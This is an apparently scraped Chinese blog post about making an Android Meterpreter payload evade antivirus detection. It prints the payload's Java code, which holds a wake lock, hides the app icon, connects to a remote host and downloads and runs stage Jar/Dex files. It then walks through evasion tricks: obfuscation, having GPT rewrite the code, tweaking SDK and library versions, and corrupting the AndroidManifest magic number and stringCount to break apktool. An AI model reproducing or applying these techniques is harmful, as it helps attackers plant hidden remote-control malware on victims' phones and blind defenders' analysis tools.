Skip to main content

Untitled

想要在本地运行,配置文件需要写到 configBytes 列表里面,因为这个配置列表我不知道是怎么生成的,看注释里面好像是 metasploit-framework/lib/rex/payloads/meterpreter/config.rb 文件 所以这部分直接跳过加密解密配置部分,稍微魔改一下

35

这里会走入 if 分支,所以我们在这里魔改

34

33

硬编码的exploit配置

private static final byte [] configBytes = new byte[] {                                   (byte) 0xde, (byte) 0xad, (byte) 0xba, (byte) 0xad, //placeholder                                   /*8192 bytes */ 0, 0, 0, 0, 0,... 
};
...
Config config = ConfigParser.parseConfig(configBytes);

32

  1. 确保手机的CPU保持运转

    PowerManager powerManager = (PowerManager) context.getSystemService(Context.POWER_SERVICE); 
    // PARTIAL_WAKE_LOCK使得CPU在屏幕和键盘不工作的情况下仍保持运转
    wakeLock = powerManager.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, Payload.class.getSimpleName()); wakeLock.acquire();
  2. 按需隐藏应用图标

    if ((config.flags & Config.FLAG_HIDE_APP_ICON) != 0) {                                           hideAppIcon();         
    }
  3. 打开一个与远程服务器连接的socket

    /*
    private static void runStageFromHTTP(String url) throws Exception {
    // 参数url是从恶意应用的硬编码配置中读取的
    }
    */

    private static void runStagefromTCP(String url) throws Exception {
    // string is in the format: tcp://host:port
    String[] parts = url.split(":");
    int port = Integer.parseInt(parts[2]);
    String host = parts[1].split("/")[2];
    Socket sock = null;

    if (host.equals("")) {
    ServerSocket server = new ServerSocket(port);
    sock = server.accept();
    server.close();
    } else {
    sock = new Socket(host, port);
    }

    if (sock != null) {
    DataInputStream in = new DataInputStream(sock.getInputStream());
    OutputStream out = new DataOutputStream(sock.getOutputStream());
    runNextStage(in, out, parameters);
    }
    }

连接建立后,远程服务器通过向恶意应用发送一个Jar文件来实现命令执行,不同的命令对应Jar中特定的类Payload接收Jar文件(stageBytes),并调用指定类的start()方法:

    private static void runNextStage(DataInputStream in, OutputStream out, Object[] parameters) throws Exception {
if (stageless_class != null) {
Class<?> existingClass = Payload.class.getClassLoader().
loadClass(stageless_class);
existingClass.getConstructor(new Class[]{
DataInputStream.class, OutputStream.class, Object[].class, boolean.class
}).newInstance(in, out, parameters, false);
} else {
String path = (String) parameters[0];
String filePath = path + File.separatorChar + Integer.toString(new Random().nextInt(Integer.MAX_VALUE), 36);
String jarPath = filePath + ".jar";
String dexPath = filePath + ".dex";

// Read the class name
String classFile = new String(loadBytes(in));

// Read the stage
byte[] stageBytes = loadBytes(in);
File file = new File(jarPath);
if (!file.exists()) {
file.createNewFile();
}
FileOutputStream fop = new FileOutputStream(file);
fop.write(stageBytes);
fop.flush();
fop.close();

// Load the stage
DexClassLoader classLoader = new DexClassLoader(jarPath, path, path,
Payload.class.getClassLoader());
Class<?> myClass = classLoader.loadClass(classFile);
final Object stage = myClass.newInstance();
file.delete();
new File(dexPath).delete();
myClass.getMethod("start",
new Class[]{DataInputStream.class, OutputStream.class, Object[].class})
.invoke(stage, in, out, parameters);
}

session_expiry = -1;
}

恶意代码触发方式

对应攻击步骤中的第5步。事实上,除了修改入口点代码,还有其它可选方式。在第二节给出的三个样本中,第一个忘记触发了,后两个都重写(override)了androidx.multidex包下的MultiDexApplication类,并将Meterpreter代码中MainServicestart()方法放在里面(此处Meterpreter中类名经过混淆,MainServiceXmevv):

31

Android 5.0(API 级别 21)及更高版本使用名为 ART 的运行时,它本身支持从 APK 文件加载多个 DEX 文件。因此,如果 minSdkVersion 为 21 或更高版本,系统会默认启用 MultiDex,并且不需要 MultiDex 库。

源码混淆

源码混淆主要从两个方面进行,主工程代码和lib库混淆 关于特征是在主工程还是lib库,我们可以在不引入lib库的情况下进行测试,而且lib库里面的代码实际上我们只有需要解析config和使用http通道的时候才会用到,当我们选择SOCKET的时候,是用不到lib库的(更加理所当然的去除掉它们

36

数据通信

先把socket通信去掉

37

启动和运行方式修改

这个部分其实比较抽象 抛砖引玉吧,如果你想让自己的字迹不被别人看出来,最好的方法是用你的左手写 代码也是同理,刚好GPT写代码很死板,这个任务丢给它刚好

38

杀毒软件还检查 buildToolsVersion 和 minSdkVersion吗 查了一下原因如下

  • 兼容性问题:minSdkVersion指定了APK所需的最低Android系统版本。恶意软件通常会选择较低的minSdkVersion,以便在更多设备上运行。杀毒软件会检查minSdkVersion,如果它较低且与APK的其他特征相匹配,就可能被认为是木马。
  • 安全漏洞:较旧的Android版本可能存在已知的安全漏洞或弱点,黑客和恶意开发者可能会利用这些漏洞来进行攻击。因此,一些杀毒软件会关注minSdkVersion,以便识别并阻止可能利用这些漏洞的恶意软件。
  • 平台限制:某些安卓功能、API或权限只适用于特定的Android版本或更高版本。恶意软件可能会试图突破这些限制来执行危险操作。通过分析minSdkVersion,杀毒软件可以判断APK是否使用了不适当或不合理的安卓功能,从而将其标记为潜在的木马。

这个告警经过排查修改布局库版本可以避免

img

修改为

implementation 'androidx.constraintlayout:constraintlayout:2.1.4'

AndroidManifest 幻数

如果你跟我一样做过逆向,你会发现偶尔我们使用apktool 去逆向APK的时候会出错,因为AndroidManifest.xml文件里面某些字节出错了(导致apktool出错的可能很多,也可以是在Android代码里面留陷阱),总而言之,就是解析XML不成功,这样的情况下还想看到里面的权限列表当然是不可能的(但是APK是能正常运行的),我们利用这个特性给AV一点小小的震撼

链安上面有一篇这个文章 https://www.liansecurity.com/#/main/news/IPONQIoBE2npFSfFbCRf/detail,但是是从修复角度来看待的问题,我们需要的是

  • Android能够成功安装运行
  • 逆向软件不能解析AndroidManifest.xml

具体需要修改哪一位能阻碍逆向? 本来我是想通过fuzz的方式来找到单位幻数,查资料的时候发现看雪上有师傅研究过 https://bbs.kanxue.com/thread-272045.htm

AndroidManifest文件的幻数(Magic Number),即文件头为0x00080003。将其修改后,反编译工具就无法识别AndroidManifest文件,导致反编译失败

39

重新打包为APK

stringPoolSize陷阱

修改字符串个数 stringCount 字段,导致跟实际对应不上,也会造成AndroidManifest.xml解析出现问题 实际上这里是68,我们将stringCount 设置为69

40ps://xzfile.aliyuncs.com/media/upload/picture/20231009103935-154877aa-664d-1.png)

然后重新保存签名,这个时候最新的apktool也识别不了了